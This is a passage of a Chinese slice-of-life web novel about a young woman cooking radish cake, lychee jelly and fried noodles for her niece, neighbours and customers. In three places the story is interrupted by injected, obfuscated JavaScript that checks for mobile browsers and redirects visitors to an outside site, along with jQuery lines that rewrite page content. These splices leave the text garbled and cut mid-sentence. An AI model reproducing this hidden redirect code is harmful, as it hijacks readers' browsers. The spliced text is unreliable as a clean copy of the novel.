林阅棠心里腾起火,她深深吸气,又问小卿宝:“那你在家那么积极,是担心自己不干活,小姨会生气吗?” 今天早上她就发现了,每次客人走后,小卿宝都会飞速去帮忙擦桌子,她又不够高,只能跪在椅子上,擦到远一点的地方,差点从椅子上摔下去,林阅棠没有养小孩的经验,但也觉得这超过一个四岁小孩的正常懂事范围了。 小卿宝点点头,又摇摇头:“还怕小姨太累了,小姨每天要干那么多活,好辛苦。” 林阅棠心瞬间就酸酸涩涩跟被绵针扎了一下似的,她又感动又心疼,轻轻捏了下小卿宝的脸蛋:“你现在这个年龄,就算不干活,小姨也不会生气,如果你想帮我分担,小姨当然会很开心,但前提是要小心,不要着急,不要把自己弄伤了,不然小姨会难过的,你希望小姨难过吗?” “不要不要!”她想爸爸妈妈想小姨的时候就会难过,难过会哭鼻子,会睡不着觉,难过一点都不好,可难受了,她不要小姨难过! “那拉钩钩,宝宝答应小姨会保护好自己好不好?”林阅棠举起小拇指。 小卿宝也伸出自己的小手指:“宝宝答应小姨!拉钩钩,骗人的是小狗。” 林阅棠笑着揉了揉她的脑袋,然后跟小卿宝一起去把地板拖干。 这时萝卜糕也蒸好了,林阅棠打开锅盖,腾蒸雾气裹挟着萝卜清甜与腊肠的甜香扑面而来,虾皮的咸香藏在米香味里若隐若现。 林阅棠切下一小块,让小卿宝尝尝,小家伙吃得直点头,显然是很喜欢。 林阅棠把萝卜糕切成片块状,又放进锅里煎一煎,把两面煎得金黄酥脆端上餐桌。 小卿宝眼底还湿漉漉的,但不耽误她大口吃萝卜糕:“小姨,这个糕糕变得更好吃了!” 吃完午饭,小卿宝还是帮忙收拾了碗筷,但不会跟以前那样总是很快很急,好像在害怕自己慢一点帮忙就会被骂的样子。走路的时候也会认真看路,不让自己摔倒。 林阅棠洗好碗,让小卿宝在家看动画片,她把蒸好的萝卜糕装起来,准备拿去给招奶奶尝一尝。 招奶奶家。 陈大爷回家后,小心翼翼把他的钓鱼装备放好:“老婆子,中午吃什么?我都要饿死了!” “哟,你还知道家在哪里啊?整天不见人影的,哪有煮你的饭,要吃自己去弄。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072308|163267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 招奶奶哼了一声,“天天去那些山卡拉的危险地方,哪天不小心死外头了,我还要替你去收尸。” “呸呸呸,大吉利是,你怎么还咒我呢,”陈大爷说,“我不钓鱼我还能干嘛?天天待在家里?” 招奶奶刚开始并不反对陈大爷去钓鱼,但后面野钓出事的新闻多了,而且陈大爷还喜欢晚上去,她整天心惊胆战的:“你找点别的事情做咯。” 陈大爷撇撇嘴,这世界上还能有比钓鱼更有意思的事吗? 陈大爷不想自己做饭,他正打算去医院对面的饭店买个饭吃,这时,陈星也下班回来了。 “奶奶,爷爷。”陈星打了招呼,外面热,他喘着气,边换鞋边说,“小棠不是说今天开业吗,怎么门是关着的。” 招奶奶道:“十一点那会就全都卖完关门了。” 陈星很惋惜:“我还想下班了去尝尝呢。”林阅棠做的饺子他可是念念不忘啊。 陈大爷左看看,右看看:“阿清家的小棠?她回来开店做吃的?” 招奶奶正要说话,门铃响了,她去开门。 林阅棠站在的外面:“招奶奶,我做了点萝卜糕拿来给你试一下。” 招奶奶很开心:“刚刚我孙子还在问你怎么没开门,我说你生意好,早卖光了,没想到你还送了萝卜糕过来,正好让他解解馋,多谢你啊。” “我明天多准备食材,”林阅棠笑了笑,又问,“您知道梁奶奶家住哪里吗?我想给她也送一点。” 招奶奶道:“你放这吧,我待会给她送过去,你就不用再跑一趟了,早点回去休息。” 林阅棠点点头:“好,那麻烦您了。” 林阅棠离开,陈星洗好手出来。 “小棠送来的萝卜糕,奶奶煎给你吃。”招奶奶往厨房走,将袋子打开一看,“这萝卜糕做得可真漂亮,你看,跟那个白玉一样。” 陈星非常开心,他跑去厨房帮忙打下手。 陈大爷本来都要出门了,一看婆孙这两人的反应,又把脚收回来:“老婆子,也煎两块给我尝尝呗。”他倒是要看看这小姑娘做的东西有多好吃。 陈大爷原先不太抱希望的,但等萝卜糕煎好了上桌,他慢慢拿起筷子一尝,立刻就被征服。 “这姑娘厨艺可以啊,这不比杨记卖的好吃多了!”陈大爷二郎腿都不翘了,坐直身子,又夹了一块,香,真香。 外面焦香,里面糯糯的,松润的同时又不失嚼劲,萝卜糕里还带有腊肠,鲜甜丰富,陈大爷吃得满足地眯了眯眼睛,此时此刻,他的幸福感一点都不比钓起一条大鱼少。 很快,他又干完一块萝卜糕,再次伸手要去夹,筷子就被招奶奶打了一下。 招奶奶瞥他:“你不是说就要两块吗?” 陈大爷心虚:“这,这不用算那么准吧。” 见招奶奶不松口,陈大爷只能去看正狼吞虎咽的孙子,睁眼说瞎话:“星星啊,你肯定吃不了那么多吧,爷爷帮你吃掉一点。” 陈星把自己的碗护得死死的:“不!爷爷!我吃得完!”在美味的萝卜糕面前,爷孙情分显得岌岌可危。 招奶奶白了陈大爷一眼:“一大把年纪还跟孙子抢吃的,钓鱼钓傻了吧。” 陈大爷:“……”后悔啊!早知道他不说两块了,他应该说要吃十块! 8. 8 招奶奶送的荔枝还放在冰箱里没动,荔枝虽然味道好,但是单吃容易上火,林阅棠跟小卿宝说了一声,自己出门扫辆共享单车去超市挑了包吉利丁片跟模具工具,然后又去食品区选了椰蓉跟薄荷叶。 到家后,她将荔枝剥出莹白果肉,放进榨汁机里榨成汁。荔枝汁水清甜透亮,林阅棠又加了点白砂糖,手腕一旋,将果汁跟融化的吉利丁片一起搅拌。 为了口感更有层次,林阅棠还往里头加了一小碗荔枝果肉粒,然后慢慢地倒进模具里。 因为小卿宝喜欢向日葵,林阅棠特意选的向日葵模具,每个模具都灌满果汁,盖子合上,直接放进冰箱里冷冻定型。 - 骨科医院。 曹子涵爸爸风风火火冲进病房,献宝似地举起卤鸡腿:“儿子!看爸爸给你带什么了!你一直说想吃的鸡腿啊。” 曹子涵凑过去闻了闻,小脸皱成核桃:“不要这个!” 旁边的曹大姨说道:“你给他买茶叶蛋吧,中午外卖的茶叶蛋他老喜欢吃了。” 一提到茶叶蛋曹子涵就兴奋了起来,立刻拉着爸爸的衣袖:“爸爸,我跟你说,那个茶叶蛋真的超级无敌好吃,因为那个是蜘蛛侠煮的蛋!” 子涵爸爸划拉着手机订单直嘀咕:“我早上有点茶叶蛋吗?”翻到店铺页面,这家店还真有茶叶蛋卖,可能是赠送的吧,“行,那我点三个蛋。” 曹子涵蹦起来:“不!要十个!我要吃十个!” 子涵爸爸被磨得没办法,龇牙咧嘴下单了十个茶叶蛋,半小时后,他拿着外卖回来:“儿子,你的茶叶蛋来咯。” 曹子涵立刻把玩游戏的平板扔到一边,兴冲冲地坐好。 子涵爸爸都惊了,自己儿子什么时候这么爱吃茶叶蛋了?居然连平时最爱的游戏都可以直接扔到一边! 茶叶蛋刚剥开,曹子涵伸长脖子就凑过来大咬一口,下一秒“呸”地吐出来,小脸呜呜呜涨得通红:“不是这个蛋,是要香香的蜘蛛侠茶叶蛋!” 子涵爸爸真是一脸懵逼:“什么蜘蛛侠?这就是茶叶蛋啊,你不是喜欢吃吗?怎么都吐出来了……” 曹大姨也尝了一口茶叶蛋,皱着眉,立刻就明白原因:“这家店晚上换师傅了吗?味道比早上差多了。” 这茶叶蛋外壳就一两道裂痕,卤汁味道也不香,鸡蛋不入味,这跟白煮蛋有什么区别? 子涵爸爸真是被一老一小整懵了,这茶叶蛋还能怎么不一样?难道有些茶叶蛋还能好吃到上天去? 孙奶两人最后都不乐意吃这茶叶蛋,子涵爸爸又看不惯浪费,一个人干了九个蛋,差点走不动道。 坑爹的儿子啊! 坑爹的茶叶蛋啊!他这辈子再也不想吃茶叶蛋了!! - 傍晚六点多,晚霞斜斜地照在小楼的墙面上。 林阅棠放下手中的故事书,轻轻捏了捏小卿宝的脸蛋,小姑娘这段时间吃得多,可算是有点肉了:“饿了吧,我们去吃晚饭。” “嗯嗯。”小卿宝洗干净自己的小手手,乖乖坐在椅子上,大眼睛满满期待,不知道小姨又会做什么好吃的呢! 林阅棠将定型好的荔枝冻拿出来,脱模的瞬间,整间屋子都泛起凉丝丝的甜。 荔枝冻晶莹剔透,还能看见里面藏着的饱满荔枝肉,林阅棠快速抖动椰蓉,细白的椰碎落了下来如同雪花一样覆盖在果冻表面。 林阅棠剪两片薄荷叶放在最上面做点缀,搭配着白白冰冰的荔枝冻,宛如一簇在沁凉初春生长出来的嫩芽,在这炎炎夏天看一眼,顿时就觉得整个人都跟着清凉起来了。 小卿宝看见那么漂亮的椰蓉荔枝冻,眼睛也要挪不动开了。 “小姨你好厉害,你居然会做果冻!”小卿宝小手鼓掌,眼里的崇拜比星星还要闪耀。 在小朋友眼里,果冻是超市才有的东西,就像老师只能在学校里出现,但是她小姨居然在家里也能做出果冻,难道小姨会魔法吗?! 林阅棠给小卿宝递了一根叉子,小卿宝伸手去插荔枝冻。 不过果冻太Q弹了,盈盈颤动着,仿佛有生命一样,小卿宝费了好大劲才将它叉起来。 小姑娘立刻像在游乐园抓到一条小鱼那样开心,指着手上的荔枝冻:“是太阳花花耶。” “没错,是太阳花花。” 小卿宝张大嘴巴咬了一口,哇哦,好神奇啊,是像雪糕的太阳花花果冻!她好喜欢! 小卿宝开心得身体都摇晃起来:“有果汁的味道,甜甜的,好好吃。” “对,是招奶奶送的荔枝做的哦。”林阅棠也尝了一口荔枝冻,感受着冰爽香甜的滋味在唇齿间迸发,她也满意地点点头,果然,夏天就是吃点冰冰冻的甜品才舒服嘛。 吃完荔枝冻,林阅棠又去把剩下的萝卜糕煎热,就当做是晚餐了。 抽油烟机呼呼工作着,把煎萝卜糕的香味也传了出去。 一位路人下了公交车,一走进村门就闻见一股食物香气,伴随滋滋的油声,他大脑分泌多巴胺,让他忽然有种很幸福很温馨的感觉,恍惚地想起小时候的晚上,他坐着小板凳在看连环画,奶奶在厨房做饭,父母刚下班回家…… 他顺着香味看去,想起这里好像是一家饭店,喃喃道:“明天来这里吃一下吧。” 夜色越来越暗,月亮攀升,万家灯火亮。 梁奶奶的女儿梁淑慧今天回家送点东西,临走前,梁奶奶喊住她:“你等等,我给你装点萝卜糕,你拿过去吃。” 梁淑慧摆手:“不用了妈,家里都没人爱吃这个,你上次做的橙橙他们都不吃,全给我吃了,我胖了好几斤呢。” 梁奶奶将她拒绝的话当做耳旁风,把萝卜糕塞进梁淑慧的手提包里:“这是别人送的,很好吃的,你尝过就知道了,要不是自家人我都不舍得给你拿。” 梁淑慧推辞不掉,最终还是无奈收下:“行吧行吧,那妈我走了,你早点休息,有事给我打电话。” 梁淑慧是真不想要啊,但这是她妈的一番心意,她要是不拿,老人家又会多想,唉。 到了第二天,梁淑慧起床,想起昨晚的萝卜糕,这东西放久了容易坏,她赶紧拿出来,准备煎热当早餐吃。 梁淑慧打开袋子,闻到一股浓浓的米香味,这次的萝卜糕还真是挺漂亮的,像一片片精致的牛乳凝脂,这腊肠粒乍一看还以为是红玛瑙镶嵌在里头。 “要全都是真钻石就好咯。”人到中年也会做一夜暴富的美梦,梁淑慧笑着,把萝卜糕下锅煎到表面金黄盛出来,拿起筷子就开动,一嘴香味在口腔里炸开,她眼睛不禁睁大,“好吃!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072309|163267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 糕肉很紧实,口感软硬适中,湿润绵密。而且味道很香很清甜,跟虾皮腊肠的咸甜滋味融合得也很完美,吃起来特别舒服,这口味调得太好了,比杨记的还好吃,还不腥腻。 梁淑慧吃得很满足,她女儿梁橙橙走出房间,闻着屋里的香味直咽口水,但远远一看是萝卜糕,顿时垂头丧气:“老妈,你怎么就买了萝卜糕,没有买芋头糕吗?” “这是你外婆朋友送的,不是买的。你自己拿钱去吃早餐吧,吃完我送你去补习班。” 梁橙橙今年五年级,开学就要上六年级了,梁淑慧想把她基础打牢点,上初一的时候没那么吃力,所以暑假就让她去上补习班。 梁淑慧拿了二十块钱现金,梁橙橙接过来,目光却不自觉盯住盘子剩下的那一块萝卜糕。 好奇怪,明明她不喜欢吃萝卜糕的,但此时却莫名很想尝尝,看着看着,梁橙橙终于再也忍不住,不受控制地拿过萝卜糕要尝了尝。 萝卜糕不厚不薄,靠近闻着味道更香了,她一低头,舌尖就感受到外表的酥脆,内馅的柔嫩。虾皮的鲜味跟腊肠的润香在齿间迸发,而且吃到最后,她居然都没有踩雷到她最讨厌的白萝卜怪味。 “妈,这真是萝卜糕?” 梁淑慧也疑惑:“是啊,你不是不爱吃萝卜糕吗?” 梁橙橙看着空空的盘子,意犹未尽地舔了舔自己唇角:“这个不一样,这个好吃,唯一美中不足的就是外面有点点糊味。” 梁淑慧:“……”糊味不是萝卜糕的问题,是她煎得不好。 梁淑慧咳咳:“冰箱里还有,你还要不要?” 从前最讨厌吃萝卜糕的梁橙橙此时非常大声喊道:“要!” 梁淑慧把冰箱里的萝卜糕拿出来,突然笑了笑,昨晚她还嫌她妈拿得多,现在就她娘俩都不够吃的。 她这次煎的时候特别注意火候,用的小火,还一直盯着,生怕自己厨艺不行把那么美味的萝卜糕给浪费了。 梁橙橙又跑进厨房:“妈,我可以带去补习班吃吗?我想让佳柠也尝尝。” 佳柠是她的好朋友,也在补习班。 “行。”梁淑慧把萝卜糕放进饭盒,再拿个小袋子装好让梁橙橙方便拎着,“走吧走吧,快迟到了。” 梁淑慧先把女儿送到补习班,也没问她要回早餐钱,就给小孩当零花了。 - 林阅棠早早去了趟菜市场,把炒米粉要用的配菜都买齐正要离开,她忽然看见门边一档口用簸箕装着各种粉,有猪肠粉、腊肠、米粉…… 这河粉真不错,一看就是手工做的,扁扁宽宽,一股纯米浆的味道。 林阅棠突然就很想吃炒河粉,她称了一袋子河粉,付完钱没着急走,而是返回菜市场往肉档那边去。 河粉当然要用牛肉炒才香,林阅棠又买了一点新鲜宰杀的牛里脊这才回到店里。 等她在厨房把所有材料备好,一看时间已经快七点,林阅棠将小黑板取下来,往菜单加了一道干炒牛肉河粉,然后标价15元。 把黑板重新挂好,林阅棠就去拉卷帘门。 她本来是想先去看宝宝起床了没有,但没想到外面居然已经站着一位客人在等她了。 “老板!你终于开门了呀!”乔桐桐一看见林阅棠,激动地差点扑上去。 9. 9 乔桐桐顶着两黑眼圈,因为昨晚她做了个很荒诞的噩梦,梦见她开开心心要去吃炒米粉,结果刚到门口,老板突然把整栋楼抬起来扛着跑了,她就在后面甩着哈喇子疯狂追啊追啊,结果没追上,眼睁睁看着老板带着她的炒粉飞走。 凌晨四点,乔桐桐惊醒后去洗了枕头套,然后再也没合眼,此时看见林阅棠开门,她瞬间满血复活:“我等了好久呢,早上不来一份炒米粉,我都没心思上班了。” 因为乔桐桐是第一位客人,林阅棠对她有印象,开门第二天就有回头客,这种感觉还不错,她笑着说:“你先进来吧,今天要吃点什么?” 乔桐桐看一眼招牌,发现多了个干炒牛河,昨天已经吃过米粉了,那今天就尝尝河粉吧:“我要一份河粉还有一个茶叶蛋。” 林阅棠先给她装了一个茶叶蛋,然后走进厨房。 乔桐桐对着茶叶蛋拍两张照,发到工作小群里。 ——【朋友们,今天的茶叶蛋闻起来也卤得很香呢】 群里很快就有人回复。 【看起来好好吃哦,你这家伙一大早上就放毒,谴责!】 【隔着屏幕我都能闻到香味了,在地铁上对着手机疯狂吸口水,旁边的人好像觉得我是变态啊……】 【桐桐,记得要帮我带蛋哦,爱你爱你】 …… 乔桐桐被香气勾得顾不上回复,三下五除二剥开蛋壳,卤香混着茶香直冲天灵盖,她偷偷把指尖染上的卤汁也嘬了一口,要不是顾及形象,真是恨不得把蛋壳都嗦个遍。 吃完茶叶蛋,后厨滋啦的爆炒声也结束了,她的干炒牛河正式上桌,深褐色的河粉泛着油亮光泽,热腾腾的香味扑面而来。 救命……这谁顶得住嘛! 乔桐桐狂吞口水,拿起筷子开始吃粉。 第一口就是爆炸的香,香到她甚至愣了一下才重新恢复了思考。 河粉比米粉口感更佳软糯,但又不是完全软趴趴那种,舌尖还能清晰感受到弹牙的滋味,而且这个炒河粉太香了,乔桐桐根本不舍得咬断,一筷子的粉条全被她吸溜进嘴巴里,满嘴都是浓烈的香气,豆芽的脆香、河粉的米香与酱香,还有葱花的清香…… “唔!”乔桐桐捂住嘴巴防止自己幸福得喊出声,她又夹起一片牛肉,牛肉很嫩很香,边缘还有点焦焦的卷边,好吃到让人想哭。 乔桐桐在内心疯狂落泪,她上辈子到底是做了多少好事,这才能遇到老板,让她有机会吃到如此美味的炒河粉! 一碟子炒河粉很快就要见底了,这时,乔桐桐才想起店里的小料,她仔细一看,今天的小料还多了一样。 这家店的小料也特别好吃,因为剩下的河粉不多了,乔桐桐就挖了一勺没尝过的青椒圈,青椒圈用调过味道的酱油泡着,酱油是有一点甜的,化掉一点青椒圈的辛辣,将青椒泡得又脆又嫩,味道更是咸中带甜,辣又不腻,非常有滋味。 “连辣椒圈都比其他店里的好吃那么多,老板真是太厉害了。” 乔桐桐将河粉吃得干干净净,碟子上面连颗葱花都没剩下,她摸了摸自己圆滚的肚子,心满意足打开手机回复微信:【我吃完早餐要回医院了,这家店的炒米粉跟炒河粉也很好吃,你们要我带吗?】 乔桐桐把店里的菜单拍下来发到群里。 【谢谢桐桐,不过早上吃炒粉太油腻了,我就要茶叶蛋就好】 其他人好像也是这样觉得的,过了好一会都没人让乔桐桐带炒粉。 乔桐桐刚退出群聊页面,突然看见消息刷新,是护士长在群里@了她,吓得她以为有什么大事,赶紧点进去,就看到护士长发的消息—— 【小乔,你帮我买一份肉片炒米粉吧,谢谢】 乔桐桐呼出口气,吓死了,她还以为出什么事情了。 紧接着,跟她关系最好的徐初雨也让她帮忙带炒河粉。 乔桐桐买了十五个茶叶蛋,还有两份炒粉,她刚付完钱,店里又来了两三位客人,都是昨天来关顾过,对林阅棠手艺念念不忘,今天刚七点钟他们就来店里了。 “老板,我要一份肉片炒米粉。” “炒河粉是新出的吧,我要这个尝尝看。” “我也要炒河粉。” …… 林阅棠记下来:“好的,你们先找位置坐下来吧。” 这几个都是吃完早餐就要去上班的年轻人,胃口也大,虽然林阅棠的炒粉分量都挺足的,但味道也香啊,一份炒粉不够吃,大家伙都另外又要了茶叶蛋,就跟认识商量好了一样,但其实他们根本不认识。 林阅棠听到客人要茶叶蛋,正要从厨房重新走出来给他们装。 一个性格比较外向的客人说:“老板,你去炒粉吧,我们自己装就行了。” “行。”林阅棠点了点头,转回厨房开始炒粉,灶台这边也可以看清顾客们的动作。 这客人叫陈柏涛,是一家淘宝店的老板,平时跟谁都能聊上两句,这会也忍不住跟林阅棠唠上:“老板,你这电饭锅太小了,煮那么点茶叶蛋不够卖吧。” 林阅棠笑着说:“等以后有机会再换一个大的。” “一个大锅可能也不够卖呢。”陈柏涛眼光毒辣,老板这手艺不可能不火的,看看这才第二天,虽然连个招牌都没有,但店里这几张桌子都已经都坐了人。 陈柏涛拿起两个茶叶蛋,扫了四块钱过去。 其他客人也是自觉装好鸡蛋就给钱,没有人搞小动作。 开玩笑,搞小动作就是让老板没钱赚,老板没钱赚关门了,他们上哪去找那么好吃的店? 林阅棠连续炒几份米粉,整个饭馆都弥漫着一股带着热度的诱人香味,又吸引了一些路过的人,再加上昨天就被俘获的回头客,这上班高峰期里,小饭馆不知不觉地排起了队。 陈大爷有个伙伴姓昌,跟陈大爷一样年纪,是个光头,两人以前是电力局的同事,退休后都成了钓鱼佬,天天约着一起出去钓鱼。 昌大爷一大早就来找陈大爷:“走走走,我听人说有个地方特别正,我们早点去占位置,今天肯定能钓到两条大的。” 一向钓鱼比他还积极的陈大爷这会儿却摆摆手:“不急,我们吃个早餐再去。” 陈大爷带着昌大爷往前走,到了林阅棠的店门前。 昌大爷:“这就是你放弃占位置也要来吃的店啊?看着不怎么样嘛。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072310|163267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈大爷还在回味昨晚尝到的萝卜糕:“小棠手艺很厉害的,老昌,你要是觉得不好吃,我跟你姓。” “这可是你说的。” 昌大爷自己退休金不少,儿子又是开公司的不缺钱,他嘴刁,吃惯了大酒楼,街边店的话他只吃有保障的老字号,这家店是新开的,老板还那么年轻,看着就不靠谱。 不过来都来了,不好拂了好友的面子,昌大爷也就没拒绝。 店里没多少位置,等了会他们才跟一个年轻人拼了桌。 “卫生倒是搞得挺干净。”昌大爷说着,鼻子抽动,在心里补充一句,闻着也挺香的。 他们点的是两份干炒河粉,因为客人太多了,林阅棠给安排上喊号服务,号码是小卿宝用她的小卡片写的,喊到号客人就自己来拿。 等陈大爷端着两碟炒河粉回来,昌大爷盯着面前均匀沾上豉油直冒热气的炒河粉,忽然就说不出话了,腮帮子跟装了马达似的高速鼓动起来。 刚刚有多嫌弃,现在开吃的速度就有多快,眨眼的功夫,他就吃掉半碟炒河粉! 好吃,真是好吃啊!河粉很难炒的,少放油会干,多放油会腻,能炒好的店真不多,但这碟炒河粉那个度把握得刚刚好。 而且河粉这种东西很容易就炒断,变成这一坨那一坨的,让人看着就没胃口,这家店的老板技术是真的行啊,她炒的河粉不带断的,长长一条,让人吃得特别畅快! 昌大爷伸长脖子去看厨房,果然,老板炒河粉几乎不用锅铲的,是直接颠锅,大火窜起烧着锅底,让河粉在火光铁锅里翻动,难怪每一根河粉都那么锅气十足! 昌大爷真的彻底服了,他竖起大拇指:“老陈,没想到你还挺会吃的,这家店的炒河粉比杨记茶楼的还要香。” 坐在他们对面埋头苦干的年轻人抬起头,忍不住插话:“而且还比杨记实惠多了。” 杨记茶楼的炒河粉是“顶点”,要三十块一份,这里只要十五块,真是平靓正,他以后早餐都要来这里吃。 陈大爷埋头大快朵颐,忽然,他听见一道熟悉的声音。 “稀罕事,这个点你还没去钓鱼啊?”招奶奶站在他们身后。 招奶奶也惦记着林阅棠做的美味,所以都不自己做早餐了,就来店里吃,虽然跟林阅棠熟,但她也守规矩在后面排着队,没想到一抬头看见自家老头子也在。 陈大爷擦擦嘴:“那也要吃饱了才有力气钓鱼啊。” 招奶奶正想再说他两句,抬眼一看,梁奶奶正脚步匆忙地往医院方向拐。 “咋啦,出什么事了吗?”招奶奶赶紧追上去问。 梁奶奶满脸着急:“淑慧刚刚给我打电话,说橙橙在补习班跟同学打起来了,现在在医院里。” 招奶奶唉哟一声:“我跟你去看看。” 两人到了急诊室,就看见两位护士在给梁橙橙跟她的同学刘得元处理伤口。 梁淑慧跟刘得元的妈妈也赶来了。 刘得元显然伤得更重一点,她妈妈搂着儿子骂:“你怎么教女儿的?看把我儿子打成这样!” 梁橙橙伤在唇角,一张嘴就疼,但她嗓门依然洪亮如钟:“刘得元他抢我的萝卜糕!” 10. 10 刘得元妈妈语气很不好:“开玩笑呢?我儿子不缺吃不缺喝,至于抢你的萝卜糕吗?!” 这时,补习班的老师赶了过来,她喘着气,将监控视频调出来给大家看。 画面显示梁橙橙把萝卜糕带到补习班,她先吃了一块,香味瞬间吸引来旁边的同学。 这个补习班是梁橙橙班主任推荐的,学生们都是同班同学,他们馋得可怜巴巴哀求,梁橙橙就答应了每个人分一小块尝尝。 分到一半,梁橙橙最好的朋友张佳柠来了,梁橙橙当然是先分给她,等不及的刘得元就去抢张佳柠的。 梁橙橙立刻扑过去把萝卜糕塞进自己嘴里,这会儿刘得元还想橙口夺萝卜糕,还把梁橙橙嘴角给刮流血了。 梁橙橙也不是任人欺负的,她使出吃奶的劲跟刘得元互殴起来,直接把刘得元打得大哭。 看完录像,刘妈妈脸上一臊,揪住刘得元耳朵,恨铁不成钢:“丢不丢人啊你!” 刘得元现在还一边哭一边嚎:“可是那个萝卜糕就是很香,我就是很想吃嘛,梁橙橙分得那么慢,我口水都流完了。” 旁边在包扎手指的大叔打趣道:“有那么好吃吗?” 护士也在憋笑。 梁淑慧终于松了口气,她就知道橙橙虽然皮了一点,但是绝对不是乱打人的孩子,看着小姑娘嘴边的红肿,虽然不是非常严重,当妈的也心疼啊:“护士,这会不会留疤?” 护士:“不会的放心吧,每天涂一涂药很快就好的。” 刘妈妈尴尬:“不好意思,这事是我儿子不对,你女儿的医药费我来负责,你看行吗?” 梁淑慧道:“看我女儿怎么说吧。” 梁橙橙气鼓鼓地说:“还要让他给我道歉。” “快道歉。”刘妈妈推了推刘得元,但刘得元紧紧闭着嘴,很犟,她只能道,“我替他说吧,对不起了。” 刘妈妈说完,觉得很丢脸,直接拉着刘得元走了。 梁奶奶捧着梁橙橙的脸,很心疼:“这臭小子太坏了。” “外婆,你放心吧,我也打他了,咱没吃亏。”梁橙橙安慰梁奶奶。 梁淑慧帮梁橙橙拿上书包,几人走出医院,她说:“这也快要到饭点了,橙橙,我们吃完再回去吧,你想吃什么?” 医院对面有好几家快餐跟饭馆,还有几家大牌子的连锁店。 但梁橙橙看来看去,不知道为什么就是都不想吃。 招奶奶干脆说:“要不去小棠店里吃吧,你们说的萝卜糕就是她做的。” 梁奶奶也点点头:“没错,小棠的手艺可好了。” 梁橙橙听到萝卜糕就来兴趣:“外婆,你快带我去。” 方才同在急诊处理伤口的大叔听完她们对话,带着凑热闹的想法跟在梁橙橙她们身后,他也想看看,这家店的萝卜糕到底是个什么味儿。 现在是十一点多。 店里只有两位客人在吃粉,都是不用上班的村里人。 招奶奶打完招呼就说:“小棠,给我来个炒河粉吧。” 林阅棠:“好的。” 梁奶奶则是要米粉,她就惦记着米粉,梁淑慧跟她要一样的。 梁橙橙见招牌上没有萝卜糕还有些失望,就随意点了个炒河粉。 后厨炒锅开火,林阅棠手腕轻抖,牛肉片在热油里滋啦变色,紧接着下配菜,下河粉,很快四份炒粉全部上桌,店里同时响起吞咽口水的声音。 梁橙橙一扫没有萝卜糕的纳闷,刚出锅的炒河粉又热又香,她连吹都顾不上吹,直接低头吃起来,嘴角发疼再加上肉汁在舌尖炸开的烫也没能让她停下筷子。 “你慢点吃。”梁淑慧嘴上这样说,她也迅速拿起筷子品尝。 梁奶奶跟招奶奶都是平时爱唠嗑的人,但这会儿都顾不上聊天了,一口接着一口地吃着,根本停不下来。 梁橙橙吃完河粉,心满意足呼出一口气,叹谓道:“好好吃哦!尤其是这个牛肉片,又焦香又嫩滑又多汁!” 梁淑慧点点头:“炒得一点都不老,越吃越香。” 她们快吃完了,大叔王志彪也终于匆匆走了进来。 王志彪跟梁橙橙她们跟到一半,刚好被红灯隔开,只能自己凭感觉往前走,走着走着,他突然闻见一股香味,立刻加快脚步拐了个弯,一眼就看见林阅棠的店。 他走进去,闻着空气中残余的香气,馋得胃都要打结了:“老板,要一份炒河粉。” 林阅棠带着歉意说:“河粉没有了,只剩下一份米粉,你要吗?”她今天准备了很多食材,又另外买了一大袋子河粉,还是全都提早卖完了。 “可以可以,有吃的就行。”王志彪庆幸自己真是来得及时,再晚点什么都没了。 王志彪今天被顾客投诉,上班没一会又被削到手指,倒霉了一整天他内心控制不住烦躁,这会儿闻见厨房传来炒粉独有的香气,烦躁不安的心逐渐被安抚了。 没一会儿,他的炒米粉端上了桌,米粉冒着丝丝热气,光闻着这个炒粉香味就已经十分馋人,王志彪又添一勺辣椒酱到镬气十足的米粉上,猛火快攻炒出来的米粉跟香辣开胃的小料凑一起直冲喉咙,他大呼过瘾! 招奶奶看见王志彪,疑惑问:“我们是不是在医院见过?” 王志彪点点头:“是啊,急诊我就在你们旁边,我跟着你们来找吃的,果然没失望,这炒粉太香了。” 能帮林阅棠拉到客招奶奶很开心:“这家店又好吃又干净,一大早那会儿好多人排队呢。” 林阅棠关心问:“招奶奶,您怎么去医院了?” “不是我,是橙橙。”招奶奶就把发生的事跟她讲了讲。 林阅棠看见梁橙橙嘴上的伤:“不会留疤就好。” 招奶奶又说:“小棠,你生意那么好,店里还要多放几张桌子吧,我那还有,你都搬过来吧,我留着也是浪费,你别跟我客气。” 这些桌子是招奶奶一个朋友的酒楼关门后送给她的。 林阅棠很感动:“谢谢您。” “姐姐,你做的东西太好吃了!比我妈做的好吃!”梁橙橙冲着林阅棠大声夸赞,然后又去搂着梁淑慧撒娇,“妈妈,我这么说你不会生气吧。” 梁淑慧笑道 